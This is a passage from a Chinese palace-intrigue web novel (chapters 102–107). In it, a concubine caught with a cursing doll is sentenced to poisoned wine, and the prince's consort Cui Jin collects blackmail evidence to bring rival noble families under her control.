庆喜猛地上前夺过那布娃娃,眼神冷了下来。 他一挥手,想上前抢夺布娃娃的林素便被牢牢制住。 “不、那不是我的!”林素脸色煞白,“是有人陷害我,庆喜公公——” “林夫人有什么话,等着去王爷跟前再说吧。” 庆喜冷笑一声。 私自与淮阴侯府通信也就罢了,最多算个吃里扒外的家贼,王爷本打算直接将她送回林家了事。 可厌胜之术……诅咒的还是王妃。 有些人活得久了,真是上赶着找死。 第一百零二章 赐毒酒 前院。 林素被带来时,萧临正在与幕僚议事。 “晋王一党近日在京城低调,但在地方上的动作却大得很。”一位幕僚开口,“我们已有三个官员被革职查办,顶上空缺的都是晋王的人。” “皇上究竟是何意?”另一人苦思不解,“明眼人都能看得出王爷已胜过晋王许多,连唯一的子嗣问题也已迎刃而解,还是难得的吉祥双胎,他一边打压晋王,一边又放任晋王党在地方上发展势力,究竟是何意?” “穆兄身处局中,怕是一叶障目了……皇城里那位的一切行为,不过都是制衡罢了。” 从前晋王势强时,萧临与他打擂台只略处于下风,这其中固然有他能力不俗的缘故,可未必就没有永隆帝的放纵,甚至可以因此忽视他独宠林昭。 因为那时的永隆帝更中意晋王,萧临不过一个被抬起来制衡晋王的棋子,所以他能容忍萧临独宠林昭,可后来萧临想通,崔锦进门,在前朝的晋王党也似有节节败退之势,这才叫永隆帝真正看在了眼里。 永隆帝是有能之君,他不会因为个人喜恶便草率决定继承人,哪怕是当初惊才绝艳的皇长子,也只是得他几分偏爱,而未给予储君名分。 他更想稳坐高台,看有能者争夺上位。 谁最有本事,谁就是下一任储君。 说话的那位幕僚意味深长道:“晋王在他心中已然不中用了,他却依旧放任,其一为平衡,其二……自是磨刀石了。” 是萧临上位的磨刀石。 当然,若在此过程中他输了败了,那晋王依然有机会。 这话叫所有人心中激荡,连呼吸都灼热了几分。 萧临眼眸微深一瞬,但转瞬恢复如初。 幕僚们离开后,林素才被带进来,崔锦也紧跟着到了。 萧临忙上前去扶她:“前院路长,你若有事,叫人来知会本王去正院即可。” 崔锦慢慢落座,道:“听闻给淮阴侯府传消息的人查出来了,我便来瞧瞧,左右每日里都要散散步,去哪里都一样。” 地上跪着的林素闻言,脸色愈发白了几分。 竟已经查出是她传的消息了么? 萧临坐去崔锦身边,冷冷看向林素:“我信王府不养家贼,你既喜欢淮阴侯府,本王便允你归家另嫁——” “王爷。”庆喜忙上前道,“还有一事,方才奴才在林夫人房中发现了这个。” 他拿出扎满针的布娃娃,小心地递给萧临。 萧临接过一看,脸色顿时铁青。 ——布娃娃上写着崔锦的八字,腹部扎满银针,几乎找不到空隙,可见下手之人对她有多痛恨。 林素本还在惊慌于自己被遣回家——这跟被休了有什么区别? 尤其还是皇家不要的女人,等同于被扣上行为不端的帽子,谁家还敢沾染半分?便是林家……最好的结果就是送她去庵堂青灯古佛,若心狠些,怕是会直接一段白绫送走她。 林素终于知道怕了。 在看到那布娃娃后,她忙颤着声音解释:“王爷,这不是妾的……是有人诬陷妾啊,您若处置了妾,岂非叫真正的幕后黑手得意?” 庆喜瞥她一眼,适时说道:“林夫人此言差矣,奴才进门时还见您拿着针扎小人呢,您若说自己冤枉……这又作何解释?总不能是奴才和其他人都看错了吧?” 萧临脸色阴沉的能滴出墨来,看向林素的目光像在看一个死人。 林素被吓得一颤,只能不断摇头,眼泪流了满脸。 或许她也察觉到了萧临即将喷发的怒火,连忙膝行上前,哭着求崔锦:“王妃……不,表姐,锦姐姐,以前是妾不对,是妾被猪油蒙了心,信了梁侧妃的鬼话,都是妾的错,以后妾为奴为婢伺候您,求您饶过妾吧,妾当真是冤枉的啊——” 她上前时被如夏拦住,便忙磕起头来,一下又一下,不多时额头就泛出血印,瞧着颇为凄惨。 “梁侧妃?”萧临眯起眼睛,“她与你说过什么?” 林素眼睛一亮,忙道:“她知道妾是王妃的表妹,便故意接近妾,套了许多王妃的喜好习惯,还暗示王妃容不下妾,只有另择明主才能保全自己,妾……妾被她的鬼话蒙蔽,才对王妃起了不满之意,但妾生性胆小,不敢做什么,最多也只是在那日刺了王妃几句而已,求王爷明鉴啊!” 萧临选择性听了几句,只是问:“所以谢长清的事,也是她从你这里套出来的?” 林素疑惑一瞬,但求生的本能叫她下意识将一切推去了梁溶月身上:“梁侧妃的确提过谢长清,言语间颇有暗示王妃和谢长清早有私情之意,但妾去崔府的时间不多,并不知这些,梁侧妃提起过几次后,便不再与妾说实话,只说另有渠道和计划……” 萧临缓缓听着,眼中浮起冰冷之色。 梁溶月? 表面那般娇憨天真,还处处暗示自己不会争抢什么,对崔锦更是十足喜爱恭敬……却原来都是假象? 他竟被这种拙劣的手段蒙蔽,看走了眼! 中秋夜时,崔锦没打错她。 能将消息也传来他耳边,淮阴侯府只怕也有参与……好,真是好得很。 他胸腔中怒意翻涌,周身阴沉的气势直叫屋里的人连大气都不敢喘一声,林素更是吓得不敢再开口,哀求的目光频频扫向崔锦。 赶在萧临对她开口前,崔锦淡淡道:“梁侧妃的事随后再说,王爷先处理林氏吧。” 萧临微顿,点了点头。 “王爷饶命,王妃饶命,妾真的知错了!”林素苦苦哀求,不顾仪态地跪伏在地面,不断磕头。 美人梨花带雨,模样凄惨,萧临眼中却升不起丝毫怜惜。 庆喜亲眼见过的,不会有错。 林氏竟敢诅咒崔锦,诅咒他的孩儿,这种毒妇,百死不能抵消他心中怒意! “林氏诅咒王妃,忤逆犯上,赐毒酒。” 林素倏而抬起头,满眼泪光中满是不可置信。 第一百零三章 锦姐儿与我们离心了 “王爷,妾当真是冤枉的!您为何不愿相信妾……” 眼见将被庆喜拽下去,林素满眼绝望,不甘而怨毒的目光立刻扫向崔锦。 死都要死了,她为什么不能骂个痛快? 若能咒得这贱人下来陪她,也算不亏了! “崔锦!你——唔——” 她的嘴被牢牢捂住,怨恨地看向庆喜。 庆喜嗤笑一声,还能真叫你把咒骂王妃的话骂完了?当这满屋子的人都是摆设呢? 林素被毫无形象地拖下去,萧临犹不解气,怒声道:“把这个贱妇的尸体送回林家,给本王问问姓林的,他是有多恨不得我信王府无主绝后,竟派这种贱妇来毒害王妃!” 忙有人应了声是,匆匆下去。 庆安眼神微动,提醒道:“王爷,林夫人是淑贵妃娘娘赐下,这——” “你是说本王不孝?” “王爷息怒,奴才并非此意。”庆安忙躬身道,“贵妃娘娘若知晓此事,只怕更恨为她举荐林夫人之人,奴才只是想……是否该知会贵妃娘娘一声,好叫她心里警醒着些,莫再信奸人挑拨举荐。” 萧临微顿:“你去宫里禀报一声。” “是。” 庆安离开前对上崔锦的目光,恭敬地低了低头。 崔锦收回目光,笑了一下。 崔家有意扶持林素之事,萧临身边的人怕是心里都有数,为淑贵妃举荐林素的人就是崔父的属下,与崔老夫人也有些远亲关系,叫淑贵妃责怒此人,未尝不是打崔父和崔老夫人的脸,也是提醒他们认清现实。 庆安的示好,她收下了。 萧临正在命人焚烧布娃娃,心中还有着担忧:“这样烧能解咒吗?不然请宝华寺来做场法事吧。” 崔锦道:“她咒了这么久,我不还是好生生的?无碍。” “怎会无碍?”萧临皱紧眉头,“昨日午后你肚子抽痛了几下,难保不是她的咒法起效……不行,庆喜,快去请宝华寺住持来!” 崔锦见状,也没再说什么。 昨日她抽痛那几下并无大碍,太医都说属正常现象,但萧临既然如此紧张,那就请吧。 他越重视宠爱她的孩儿,她越开心。 萧临吩咐完,看向她时目露愧意:“那日是本王误会了你。” 其实他更多是被谢长清的心思气的几乎失去理智,心中酸涩难言的情绪翻滚,便格外见不得崔锦为了谢长清出手掌掴梁溶月,但他不愿承认自己是吃醋了,言辞间只说是误会。 崔锦微顿一下:“无碍。” 萧临欲言又止,不知道她是真谅解还是心中依然存气……这种相对无言的日子,他真是一刻都不想过了。 宝华寺的住持被连夜接来了。 崔锦在里间睡觉,他被萧临压着在院外做法事解咒,声音必须虔诚,目光必须真挚,法事必须起效。 直到天光大亮,一场法事才堪堪做完。 宫里,淑贵妃的问责也传下去了,那人被训了整整一个时辰,紧接着就传来自己被降职的消息,顿时悔不当初。 本是结个善缘的事,偏偏被拖累至此,他对崔父也生出怨言。 崔父则更是愤怒,他送林素进去是帮衬崔锦和他的,她倒好,脚跟都没站稳就投了梁侧妃这个对手,还敢诅咒崔锦腹中的双胎! “愚不可及!”他怒声骂完,又怨起崔锦,“她也是,发现此事直接压下不好么?竟直接闹到信王面前,林素被处置,林家受牵连,她就能得了好不成?” 崔老夫人脸色难看极了:“锦姐儿与我们离心了。” 崔父脸色微变。 崔锦腹中怀有永隆帝都十分重视的双胎,又坐稳了信王妃之位,眼见离太子妃只有一步之遥,能为崔家带来无上荣耀……这时候与家族离心? 崔父脸色沉了下来,语气却不见慌乱:“她不敢。” 崔老夫人疑惑地看向他:“你有何主意?” “她在信王面前装得一副情深模样,可我还能不知道她?”崔父冷笑一声,“她自幼就心机深沉,待人温和却冷漠,唯一上心过的也不过一个沈之珩……爱慕信王那些话,也就骗骗信王了,倘若我这个了解她的父亲出面揭露,她与信王必会生出嫌隙,再者,她对林昭、庄清婉,甚至梁侧妃和淮阴侯府的算计,旁人不知,我手里还能没把柄?她不敢与我撕破脸。” 否则崔锦在萧临眼中将面目全非。 哪怕腹中怀有双胎这种护身符,她也承受不起这个后果。 崔老夫人闻言,眼神放松下来,叮嘱:“锦姐儿到底姓崔,你莫要做得太过,确保她向着家族便好……她若得宠,日后我们便也不再送人进王府了。” 打一巴掌给颗糖是有必要的。 现在不送人,但在等信王入主东宫之后……可不能任崔锦一家独大。 低调地送几个美人进去,也是他们崔家的后路。 崔父自然点头。 两人都没发现窗外一闪而过的身影。 崔府正院。 崔母听过后,声音沉静:“下去领赏吧,继续盯着。” “是,奴婢谢夫人赏。” 婢女离开后,崔母脸色骤然沉下。 “夫人,老爷也太无耻了。”刘嬷嬷忍不住道,“二姑娘在王府如履薄冰,侧妃夫人一个接一个,倒了一个又进一个,她费尽多少心力才坐稳了王妃之位啊……林素进王府时,奴婢都替二姑娘寒心,现在老爷和老夫人竟还不消停……” 她是崔母身边的老人,自幼看着崔锦长大,最心疼的便是她。 “是啊。”崔母半边侧脸隐藏在昏暗里,神色难辨,“我的锦儿已经如此艰难,为什么还要再逼她呢。” 刘嬷嬷见她脸色不对,有些担心,却忽听崔母问:“锦儿那边……似乎是在朝中有了新的支持?” “有的,但不知是谁。” “不要紧。”崔母摸了摸头上的发簪,眼眸垂下,“有这股势力,还有谢氏支持,一些无用而拖后腿的东西,便该清理了。” 这些年忍辱负重的账,是时候算一算了。 “你去信王府告诉锦儿一声,无论姓崔的说什么,只管答应。” 刘嬷嬷猜到什么,心里一跳,却立刻点头:“是。” 第一百零四章 和好 转眼崔锦的肚子已经七个月了,因为腹中双胎之故,她肚子已经比寻常临产的妇人还要大一些。 张嬷嬷日日寸步不离地守着她,并提醒正院的人时刻准备着。 “双胎易早产,七八个月是最该担着心的时候,产婆、产房这些都要提前准备好,省得到时忙乱。” 如春几人仔细记着她的话,不敢露听一个字。 “贵妃娘娘体恤,已送来四个产婆和六个奶娘,都是宫里出来的,料想比一般产婆能稳重厉害些。”如春说道。 刚从前院回来的如冬也道:“王爷也已经派人去查这些产婆奶娘的底细,确保她们不会被收买,她们的家人也被王府保护起来了。” 张嬷嬷眼神微松。 这便是最好的防范了。 她继续叮嘱:“提前准备好衣裳,临产时每个进入产房的人都必须换上新衣裳,再请一位太医专门候在门外,检查她们的手指有没有被浸泡过红花等物……” 她细细说着一切可能会被钻了空隙的地方。 崔锦在一旁听着,平添许多安全感,张嬷嬷本就是从宫里出来的,那些阴私手段懂的可比如春这几个丫头多得多,也省了她不少防范的心思。 待张嬷嬷叮嘱完后,如冬才走来她身边,有些幸灾乐祸:“奴婢方才去前院,正巧庆安公公收到陇西那边传来的信。” 崔锦点了点头:“是林家那边有结果了?” “正是!听说林夫人的尸体被送回陇西后,林家十分生气……他们知道您不愿接林夫人入府,便揣测是您为泄愤杀了林夫人,还嚷嚷着要将您告去御前呢,但很快他们知道了林夫人在王府的所作所为,又被王爷派去的人问罪,胆儿都吓破了,求饶都来不及,哪还敢再攀扯您?”如冬目露嘲讽。 如秋笑了笑:“巫蛊之罪,足够林家被抄家灭族了,他们此刻只怕反要求着王妃别告上御前了。” 巫蛊本就是重罪,尤其被咒的还是永隆帝期待的双胎皇孙,一个林家只怕都不够他泄愤的。 正说着,庆安就带人来了。 行过礼后,他恭敬道:“林夫人无状,险些害了王妃,林大人过意不去,特意送来了许多赔礼,望王妃海涵其过。” 他将礼单呈上。 厚厚一沓,想来林家怕是下了血本了。 崔锦含笑收下了。 林家也给萧临送了赔礼,但萧临都叫庆安一起送来了正院。 临走前,庆安意味深长地递上一封信:“这是林大人的告罪书,王爷不耐烦看,嫌占地方,便叫奴才拿给您,权当博您一笑。” 崔锦眼眸微深:“多谢王爷了。” 庆安微微低头,恭敬退下。 如夏看着她手中的信,笑嘻嘻地叫她拆开看看:“林家闹出这么多恶心人的事,您多看几遍他们前倨后恭的嘴脸,也算解气了!” 如秋忍不住掩唇笑了声:“你还真当是叫王妃乐呵的?” “……难道不是吗?” “是把柄。” 崔锦唇边泛起浅笑:“有了这封信,林家此后便只能听我命行事。” 巫蛊这样大的把柄,林家只要不想被抄家灭族,此后就只能乖乖听她吩咐,唯她之命是从。 萧临这是知道崔父对她有二心,给她送靠山来了。 当然一个林家还不至于能成为她的依靠,但林父三品宣抚使,也算一方大员了,只要日后努努力,京城这边再提拔一把,当一方封疆大吏不是问题。 崔锦摩挲着这封信,笑容更深。 “晚膳请王爷来正院用吧。” 如夏意外道:“您怎么忽然就想理王爷了?” 崔锦轻笑:“他送我这样一份大礼,我若依旧不解风情,倒是我的不是了。” 如夏似懂非懂,但很快就去传话了。 “这回您便莫要与王爷再提梁侧妃了吧?”如春轻声道,“淮阴侯世子那日设计您,又将自己救您的事传得人尽皆知,王爷已经对他十分不满了,与淮阴侯府的来往也不如从前亲密,清算怕是迟早的事……便也无需我们做什么了。” 崔锦颔首:“自然。” 淮阴侯府上赶着找死,她自然不会拦着。 晚间,萧临被请来正院,看到笑意盈盈的崔锦时,是有些受宠若惊的。 看她淡淡的冷脸看习惯了,一时对他如此亲和,他竟觉恍如隔世。 他试探着上前,握住崔锦的手,却被拂开。 心中失落一瞬,又有种果然如此的感觉,便听崔锦含笑开口:“快用膳了,王爷还不去净手?” 萧临眼眸微亮,忙点头去净手。 晚膳时候他更是殷勤不已,忙着为崔锦布膳,自己都没顾上吃几口,直到最后见崔锦吃饱了,他才就着剩下的快速吃完。 等如春几人都下去后,他扶着崔锦坐去软榻上,试探着抱住她,这次没被推开,他眼中浮起一股明显的欢喜,声音轻柔地问:“锦儿,你……不生气了?” “我何时生过王爷的气?”崔锦并不承认,反笑问,“王爷生过我的气吗?” “当然没有。”萧临立刻道,“只是先前被那些杂事气到,不得已与锦儿你闹了几日脾气罢了。” 崔锦脸上浮起笑容:“那不就是了?夫妻哪有不闹脾气的,闹完了,恩爱依旧不减,反如小别胜新婚。” 烛火下,看着她眉眼弯弯,笑意满面,萧临也不由笑了。 对。 他们本就是如此恩爱情深的夫妻。 也如崔锦所说,闹过了脾气,两人和好如初,倒当真多了几分小别胜新婚之感,萧临抱着她连手不愿意撒,低低与她说着什么,不多时两人都轻笑起来。 欢笑声隐约传来外头,如春等人与庆喜都松了口气。 可算是和好了。 庆喜看着如春她们脸上带笑,不由在心里摇了摇头,王妃是个宽和的,轻易不会乱发脾气,正院的人日子不知有多好过,可前院就没这么好命了。 王爷这段日子喜怒不定,有时没做错事,单单他看你不顺眼都要骂几句,更别说有那几个办事不力的……简直堪称直面寒冬。 他作为贴身伺候的,更是小心再三,时刻揣测着上意,就这还被扣了两月月例呢,最后搬出王妃来才叫这位冷静了点。 没人比他更盼着这两人和好了。 正在此时,一个侍卫匆匆跑来,对他耳语几句:“谢公子回京了,还来送了不少东西和人……恐怕要王爷亲眼看看才行。” 庆喜脸色微变,心中第一反应是对谢长清还活着的震惊与欣喜,第二反应…… 他苦着脸看了眼里头。 这种时候去禀报,又要被扣月例了吧? 第一百零五章 谢长清回京 屋里,气氛正在缓缓升温。 萧临小心地覆在崔锦身上,深吻了好一会儿后,唇便顺势流连去她耳后脖颈,呼吸也渐渐粗重了些。 崔锦环抱着他脖颈,侧脸也不自觉浮起红意,有些动情。 “王爷……” “叫我名字。”萧临声音低哑,将她抱得更紧了些,长睫擦过她下颌,遮住眼底泛着情欲的暗沉。 崔锦微微动了一下,颤声叫他:“……阿临……” 话音刚落下,唇就被狠狠覆上,辗转研磨。 萧临动作忍不住加重了几分,若非顾忌着孩子,险些想把她揉进怀里。 正在软榻上暧昧丛生之时,外头传来庆喜小心的声音:“王、王爷……” 萧临理也没理,继续埋头亲着崔锦。 “……谢公子安然无恙,方才回京来拜见您了。” 萧临蓦然一顿,崔锦已经睁开眼,目露惊喜:“表哥果然没事!” 她声音犹带轻软,语气却满是高兴。 萧临看着她半晌,深呼吸一口气。 好不容易和好,冷冰冰的床他已经睡够了,不能再闹脾气,也不能再气着崔锦了。 他咬了咬牙,翻身坐起,整理起凌乱的衣襟。 “本王即刻就来。” 说完,他看向崔锦,崔锦适时道:“我有些困了,王爷早去早回。” 听到最后一句,萧临眼神顷刻间柔和下来,将她抱去床榻上,盖好被子,柔声叮嘱:“你先睡,谢长清……本王会为他请太医好生照顾。” 说这话时,他脸上看不出半点勉强。 虽说他依旧膈应谢长清那点心思,但知道他没事,他的确是松了一口气的。 不提谢老太爷那边的态度,只说崔锦……若谢长清真死在被他赶回清河的路上,尤其还可能是被他的侧妃所杀,他与崔锦间只怕永远都拔不出这根刺了。 …… 前院,萧临到时,灯火通明的院中只剩几个被点了穴卸了下巴的黑衣人。 “谢长清呢?”他问。 庆安低头回道:“谢公子挂念家中祖父祖母,来放下这几人和一些信件信物后,便匆忙离开,算时间,他现在应当已经出城了。” 萧临沉默一瞬。 他若再见谢长清,心中的确会有别扭之意,谢长清倒也知道分寸。 “去请一位太医,连夜快马加鞭跟上他照顾着吧。” “是。” 一个侍卫快速应声离开。 庆安这才禀报:“谢公子先前被刺杀坠崖,幸而他自幼熟悉那边的山崖,这才险险保住一命,这些日子他一边在养伤,一边……在京城收集证据。” 萧临微愣:“京城?” “是。”庆安心中也佩服不已。 被数十高手围攻而未死也就罢了,还能在负伤的状态下回到京城,躲过无数人的追寻,还成功搜集到了自己被暗杀的证据。 这份胆识与魄力,还有能力,当真不坠谢氏之名。 萧临眼眸微眯:“倒是我们灯下黑了。” 怕是梁溶月自己都没想到谢长清不止没死,还堂而皇之跑来她眼皮子底下查她来了。 萧临一掀衣摆,坐去上首。 庆安接着道:“这几个黑衣人都追杀过谢公子,奴才方才查过,的确是淮阴侯府的暗卫无疑,还有这些信件……”他将手中的信件信物都摆去萧临面前,“这些都是谢公子在淮阴侯府搜到的。” 萧临打开翻了翻,部分是淮阴侯贪污受贿的证据,部分是淮阴侯世子与梁溶月设计侯府贵妾等人,以及设计离间他与崔锦的证据。 甚至早在梁溶月嫁来王府之前,就已经着手在探查他的喜好习惯、探查王府内的情况,其中崔锦的调查写了满满三大页。 梁溶月之心不言而喻。 萧临看得脸色铁青。 一想到当初他竟真的信了梁溶月那些羡慕他和崔锦的感情,想亲眼看着他们白头到老的鬼话,他心中就膈应至极。 与崔锦冷战的那段时间,他故意偏宠梁溶月,就是因为梁溶月这些话哄了他高兴,他甚至还在想,以梁溶月对崔锦的敬重和喜爱,即使被他偏宠也不会像其他女人那样针对崔锦,为此他甚至将管家权短暂地交给过梁溶月,只为方便她照顾崔锦。 可到头来,梁溶月才是算计最深的那个。 若非崔锦没闹那一场,当真叫梁溶月得宠又得权……正院岂非危在旦夕? 他差点害了崔锦。 意识到这一点,萧临心中悔恨与怒火并重,连眼底都隐约满眼起一抹赤红。 庆安头低得更深了。 …… 萧临直到深夜才回正院。 他怒火太盛,一时没法冷静下来,只能杀了那几人,自己冷静了好半晌,才敢来见崔锦。 但崔锦已经睡着了。 他小心地上床,将她揽在怀里,感受着她温热的体温与肚子上隐约传来的胎动,情绪才真正舒缓下来。 他本可以直接歇在前院,但崔锦叫他早去早回。 他也舍不得再睡前院冷冰冰的床,愣是顶着暗沉的夜色匆匆赶回了正院。 崔锦自有孕后睡得沉了许多,但隐约间还是察觉到萧临回来了,正好她小腿抽筋,便声音含糊地轻哼:“如春……我腿抽筋了……” 萧临连忙小心地放开她,坐起身手按在她腿上:“是这里吗?” 在崔锦迷迷糊糊的指示下,他才找到抽筋的地方,小心而轻缓地给她揉了起来,不清楚到什么程度才能叫崔锦舒服,他也不敢停手,只能不间断地给她揉着腿,还无师自通地移去另一条腿,继续按摩。 崔锦眉眼舒展了许多,渐渐又睡沉过去了。 第一百零六章 天上掉馅饼 翌日,崔锦醒来后,萧临已去上朝。 外面大雨瓢泼,衬得屋里光鲜都昏暗了不少,如春点上几盏灯,放去桌旁,为崔锦布膳。 “早间王爷用过这盅鲫鱼汤,觉得味道异常鲜美,特意嘱咐叫膳房再做一盅,给您尝尝。”如春笑着盛了碗鱼汤。 崔锦刚喝了口,就见门被轻轻打开,刘嬷嬷带着一身水汽被带进来。 “奴婢给王妃请安。” “嬷嬷快起。”崔锦疑惑地看着她,“你怎冒雨前来?母亲前几日不是才交代了话给我么……难道是表哥有话带给我?”她猜测着。 刘嬷嬷笑了:“王妃聪慧,表公子昨夜来王府前,先去见了夫人,请她交给您一物。” 她拿出一个布包递给,递给崔锦。 崔锦接过,翻开一瞧,里头竟是几本账本,上面详细记录了淮阴侯世子这些年在外经商所得——他的确是个人才,在侯府韬光养晦,在外竟能将势力铺得这么大,大周几乎有一半地方都有他的铺面庄子,还在南方建立了商会,盈利十分可观。 不过永隆忌讳勋贵做大,这账本若是递去御前,只怕淮阴侯世子要吃不了兜着走了——知道的人觉得他在防备亲爹和那贵妾,不知道还以为他想拓展势力自成一派呢。 这不是崔锦危言耸听,就淮阴侯世子赚的这些数字,想招兵买马轻轻松松,还藏着掖着不给人知道,永隆帝得猜忌死他。 即使他再像大皇子,只怕也动摇不了永隆帝的杀心了。 不过这账本若给萧临……恐怕比起灭掉淮阴侯府,他更会想为自己所用。 崔锦心中快速思索着,一边翻到后面,最下头的账本里还夹着几封信。 打开一瞧,竟是淮阴侯世子联合梁溶月算计她的证据——不是谢长清那件事,而是梁溶月进府前,她教唆庄清婉给正院放虻虫的事。 上面甚至详细记下了梁溶月究竟是如何叫人找到虻虫,再由淮阴侯世子利用他名下的商会运进京城。 即便是崔锦都被这般缜密的计划震惊了一瞬。 这可好,这几封信若送去萧临跟前,别说什么利不利用了,淮阴侯世子必死。 不止因为萧临对她腹中双胎的看重,仅就淮阴侯世子这般缜密大胆的行为,就足够勾起他的杀心——今日看不惯崔锦和她腹中孩子,淮阴侯府能想出如此毒计,甚至能完美实施而不叫他的人查出分毫线索;那若明日他们看不惯他萧临,是不是也能再出毒计,杀了他呢? 甚至梁溶月百般谋划得宠,若真等她有孕,他萧临登基之日,岂非就是梁家弑君扶幼主上位之时? 想到这里,崔锦眼眸渐深,唇边笑容却越发分明。 刘嬷嬷忍不住问:“表公子不叫夫人看这些,不知……于王妃可否有碍?” “无碍。”崔锦笑容满面,“于我而言,无异于天上掉馅饼。” 不叫崔母看是对的,此事越少人知道越好。 刘嬷嬷闻言,也放下心来,关心了崔锦一番后,临走前不经意般道:“七日后圣上要去宝华寺为国祈福,皇后娘娘点了几位命妇随同,夫人亦在其列,她叫奴婢告诉您一声,如今身子重,可不能逞强跟去宝华寺了。” 崔锦眸光微闪。 “我晓得了。” 刘嬷嬷离开后,崔锦摩挲着账本,心情极好:“王爷下朝后,请他来正院一趟。” 昨日淮阴侯府找死,她懒得搭理。 但今日、以及此后淮阴侯府找死或有难,她便不得不管了……毕竟这即将成为她的侯府。 谢长清把饭都喂她嘴边了,她总不至于连嚼都不会嚼。 与其同淮阴侯府为敌,伤敌一千自损八百,不如化敌为友,成全自己。 有了这些把柄在手,淮阴侯府便如林家一样,只能为她所用,当然他们或许不会那么听话,但恩威并施……不难。 打断他们的傲骨,再施以恩惠,同时展现自己能带给他们的价值。 一个深受宠爱,产下双胎皇孙的王妃,不比一个失宠失势的侧妃强多了? 崔锦垂下眸,遮住眼底的暗沉眸光。 等母亲那边动手……崔家失权,淮阴侯府看到更多利益与可能,会更愿意效忠于她。 她今日起得晚,刚用完早膳没多久萧临就到了。 “怀孕了竟还比从前更粘人?”萧临坐在她身边,语气无奈,脸上却带着晃眼的笑意,“本王不过去上个朝,你就忍不住想了?” 崔锦眉眼盈盈,顺势抱住他的腰,倚在他怀里轻声开口:“离了王爷,我总觉得心慌得厉害,若王爷能日日陪在我身边就好了。” 萧临被哄得唇角压都压不下去。 果然先前冷战那段时间,崔锦和他一样,不过在硬撑罢了。 昨夜才和好,就立刻忍不住粘人了。 他柔声细语地哄了好一会儿,想起昨夜之事,便顺势道:“谢长清担心外祖父,昨夜便已回了清河,你不必担心,本王已派太医跟上了。” 崔锦在他怀里点了点头:“我还不放心王爷吗?” 萧临唇角又渐渐勾起,声音也不自觉带上欣赏:“他倒也真有几分本事,竟能查出淮阴侯府的颇多把柄,还活捉了好几个刺杀过他的暗卫。” 可不止呢。 崔锦也笑了,听他说起淮阴侯府的把柄,便略有些疑惑道:“如此听来,淮阴侯府似乎也只有淮阴侯贪污受贿,罪行累累?” 萧临沉沉应了声。 他现在对淮阴侯府没有半分好感,而后者近日来对他也有不满之意……如今就敢如此嚣张,若真等襄助他登基,还不知要如何得意轻狂。 他不喜欢将威胁留给以后的自己。 “梁溶月敢如此算计于你,可见淮阴侯府教养不堪。”萧临摸了摸崔锦的脸,轻声道,“锦儿放心,淮阴侯府这口气,本王一定帮你出。” 崔锦心中嗤笑。 明明是自己容不下淮阴侯府,偏要冠冕堂皇,以她为借口,又能得个深情名声,又不必背负过河拆桥的诟病。 她看着杀意渐浓的萧临,忽地道:“其实,王爷不如将淮阴侯贪污受贿的证据亲自呈上御前,参他一本。” 第一百零七章 异香 闻言,萧临目露疑惑。 “圣上不喜勋贵做大,王爷递去的把柄正好给了他发作的理由,既能得圣上欢心,又能彰显王爷的公正无私,博满朝赞誉,还光明正大收拾了淮阴侯,何乐而不为呢?” 就是如此一来,难免会动摇一些萧临党的人心。 但这也不算大问题,若论萧临对朝堂的感情,可能还不如对军队的,他当年行军打仗,吃了好几回粮草军饷不够的亏,因此对贪污受贿深恶痛绝,此举若能为他过滤掉一些蛀虫,也未尝不利。 能站上金銮殿的没几个真清白,但总该有个底线在,萧临自己心中当也清楚度在哪里。 她含笑道:“老师曾告诉过我一句话,为君者,除去雄才伟略、杀伐决断外,也当兼具爱民为民之心,王爷已经向圣上证明了自己的能力,若能叫他看到你忧国忧民之心,想来会更加心悦。” 萧临细细思索着,眼前不由一亮,思绪也如拨云见雾般,瞬间清明了不少。 是了,永隆帝不是昏君,甚至十分勤政爱民。 他要争储,眼界便不该只放在一个晋王身上,他要争的是帝心。 想通了这一层,他看向崔锦的眼神十分新奇,还带着浓烈的欣赏:“锦儿竟有如此见地,从前却是本王小看了你。” 崔锦笑了:“我不过同老师学过几年圣贤书,耳濡目染罢了,王爷若非身处局中,只怕看的比我更真切多了。” 她说得谦虚,萧临却更大加赞赏。 见萧临想到什么,面露犹豫,她温声道:“王爷不必顾虑淮阴侯世子,他虽曾对我不利,但到底未曾得手,便是为了王爷,我也不会与他计较。” 弄死淮阴侯就不能弄死世子了。 否则若父子俩一起被搞没,朝野间难免要议论萧临凉薄,所以至少在短期内,淮阴侯世子是不能动的。 崔锦的目的在正在于此。 削弱他的靠山,折断他的傲骨,然后再谈收服。 萧临心中有了主意,立刻去前院写奏折了。 如春还有些疑虑:“淮阴侯世子好像很宠爱梁侧妃这个妹妹,若他执意不肯归降于您该怎么办?” 崔锦此计太过极端,虽弄死了淮阴侯,却也给了淮阴侯世子喘息的机会,若他执意与崔锦为敌,只怕会有后患。 “不会。”崔锦有些困了,闭上眼道,“梁溶月有用,他才对这个嫡亲妹妹看重三分……在春猎淮阴侯世子出头前,你可曾见他对在后院受那贵妾磋磨的妹妹施以过什么援手?” 梁溶月入府前,她们也是查过淮阴侯府大致情况的,如春回想一瞬后,愣了愣:“好像……还真没有。” 以前的梁溶月甚至有过银钱不凑手的时候,日子分外拮据。 “天下熙熙,皆为利来。”崔锦声音困倦,“没有利用价值时,即便是至亲也不会将你放在心上。” 前世的梁溶月嫁人后过得可不算多好,彼时淮阴侯世子已斗死了贵妾之子,得了淮阴侯重视,可绕是如此,他还是因为梁溶月夫家能为他带来的利益而对妹妹的处境视而不见。 今生不也是在梁溶月能叫他在御前露脸后才重新兄妹情深的么。 如春面露恍然:“所以他为了梁侧妃与王爷疏远,是因为梁侧妃还有价值?” 崔锦笑了笑。 没了梁溶月,谁来给他预知后事呢? …… 萧临的奏折果然很快就呈上了,此举直叫满朝皆惊。 永隆帝震怒不已,直接将淮阴侯下了大狱,命刑部彻查此案。 淮阴侯本人更是惊怒非常,他自诩为萧临的岳父,先前因为梁溶月被圈禁一事他的确态度疏远了几分,可那不过是给萧临点颜色看看,好叫他知道淮阴侯府的助力有多重要,淮阴侯府的姑娘又该不该被冷落虐待! 可万万没想到,他没等来萧临低头道歉,反倒等来了将他下狱的圣旨。 甚至不等他为自己辩驳几句,刑部的官吏就已经上门查证。 对于此事,晋王党本该高兴,可看着将淮阴侯下狱的萧临,又不知道自己该不该高兴了。 淮阴侯如此势重的助力,他到底怎么忍心砍断的?! 如果换做他们晋王,那必定是礼待再三,哄得淮阴侯府心甘情愿乖乖提供助力的。 他们在心里直骂萧临蠢,可众多老臣,甚至永隆帝心中对萧临的观感却径直上了一层,有些刮目相看之势,能将江山百姓的利益置于个人利益之前,这点说来容易,做到却太难。 也更凸显萧临的难能可贵。 